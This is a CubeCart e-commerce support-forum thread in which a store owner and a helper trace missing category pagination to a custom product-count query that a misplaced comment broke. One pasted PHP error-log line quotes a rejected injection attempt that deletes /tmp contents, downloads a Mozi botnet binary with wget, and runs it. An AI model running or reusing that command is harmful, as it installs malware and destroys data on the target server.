Jump to content

Pagination not showing


Recommended Posts

I just noticed that my V6.45 version store is not showing the pagination on the category page.  My coding, which is the same for my other store running V6.44, is as follows.   My skin/element.pagination is stock.. Any help to get this back would be appreciated

 

TOP Pagination

title="{$subcat.cat_name}">{$subcat.cat_name}</a></div>

   </li>

   {/foreach}

</ul>

<hr>

{/if}

{if $PAGINATION}

<div class="row text-right right">

   <div class="small-6 medium-12 large-12 columns show-for-medium-up thinpad-top"> {include file='templates/element.paginate.php'}  </div>

</div>

{/if}

<div id="ccScroll">

  <ul class="small-block-grid-1 medium-block-grid-3 large-block-grid-3 product_list" data-equalizer>

      {foreach from=$PRODUCTS item=product}

      {if $product.available == '0'}{continue}{/if}

      <li>

 

BOTTOM Pagination

  <li>{$LANG.category.no_products}</li>

      {/if}

      {/foreach}

   </ul>

   {if $PAGINATION}

   <div class="row">

      <div class="small-12 large-9 columns">

         {$PAGINATION}

      </div>

     </div>

     {/if}

   <div class="hide" id="ccScrollCat">{$category.cat_id}</div>

 

 

63014272_Capturepaginationtop.PNG.e0cfc7b1b5e0e051799df2291e00e2ad.PNG

 

287406188_Capturepaginationbottom.PNG.e624762b56844e1c1717db431ad79dd8.PNG

Link to comment
Share on other sites

Are your CC644 and CC645 stores publicly viewable?

Having made a comparison of the stock codebase between CC644 and CC645, I see nothing in the stock code that would explain your observation.

Edited by bsmither
Link to comment
Share on other sites

Not really.  Nothing stood out.  Here's the latest.  Other concerns PayPal commerce mostly!

[11-Jul-2022 17:35:01 America/Louisville] PHP Notice:  Undefined variable: currency in /home/xxxx/public_html/modules/plugins/paypal_commerce/hooks/class.gui.head_js.php on line 60
[11-Jul-2022 17:35:01 America/Louisville] PHP Notice:  Undefined variable: image in /home/xxxx/public_html/classes/catalogue.class.php on line 1585
[11-Jul-2022 17:35:02 America/Louisville] PHP Notice:  Undefined variable: random_product in /home/xxxx/public_html/classes/gui.class.php on line 1326
[11-Jul-2022 18:29:01 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxx/public_html/classes/sanitize.class.php on line 155
[11-Jul-2022 21:29:30 America/Louisville] PHP Warning:  Security Warning: Illegal array key "images/" was detected and was removed. in /home/xxxx/public_html/classes/sanitize.class.php on line 114
[11-Jul-2022 22:23:03 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxx/public_html/classes/sanitize.class.php on line 155
[11-Jul-2022 22:58:16 America/Louisville] PHP Warning:  Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_http://192_168_1_1:8088/Mozi_a;chmod_777_Mozi_a;/tmp/Mozi_a_jaws" was detected and was removed. in /home/xxxx/public_html/classes/sanitize.class.php on line 114

 

Link to comment
Share on other sites

Don't forget my skin is highly modified.  Plus in admin I redid the product.index template for all the tabs to show on one page.   I made my own admin skin.  I tried using the foundation skin and the default admin skin but the pagination as in my CC644 store did not show.  I also compared my store settings to the one in the CC644 store and they are both the same.

Link to comment
Share on other sites

So far, my best guess is that in content.category.php, there is a test for {$PAGINATION} being true-like. If so, then include a template. But that is not what we want.

In CubeCart's database.class.php, function pagination(), that template is fetched, populated and returned to catalogue.class.php, function categoryPagination(). If all goes well, the pagination HTML code derived from that template is given to PAGINATION. It then gets displayed via {$PAGINATION}.

At the bottom of content.category.php is another {$PAGINATION} that should - but doesn't - show the pagination HTML because that test is also true-like.

So, the likely culprit is that {$PAGINATION} is either empty or false.

At the bottom of the content.category.php file, add {debug} and save. When you request this page, there will be a popup. Your browser may require you to approve of showing this popup. Approve it, and you may need to close the popup and make another request for that page.

Scroll down the popup looking for $PAGINATION in the left column. It's value will be in the right column. What is the value?

Keep in mind that unless certain other measures are taken, everyone will get that popup. So we need to only have {debug} in the template for as long as necessary.

 

Edited by bsmither
Link to comment
Share on other sites

Posted (edited)

I found the problem!

In classes/catalouge I had this all on one line

   // START My do not show product on Cat Page if Sold    
$where = " AND INV.available = '1'";
        $where2 = $this->outOfStockWhere(false, 'INV', true);
        if (($result = $GLOBALS['db']->query('SELECT I.product_id FROM `'.$GLOBALS['config']->get('config', 'dbprefix').'CubeCart_category_index` as I,  `'.$GLOBALS['config']->get('config', 'dbprefix').'CubeCart_inventory` as INV WHERE I.cat_id = '.$category_id.' AND I.product_id = INV.product_id AND INV.status = 1'.$where.$where2)) !== false) {
          // END My do not show product on Cat Page if Sold             $this->_category_count = $GLOBALS['db']->numrows();

 

Edited by Claudia
Link to comment
Share on other sites

That would do it.

I was trying to compose the best instruction for you to add some diagnostic code to catalogue.class.php function categoryPagination() to show what the value of $this->_category_count was.

 

 

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

×
×
  • Create New...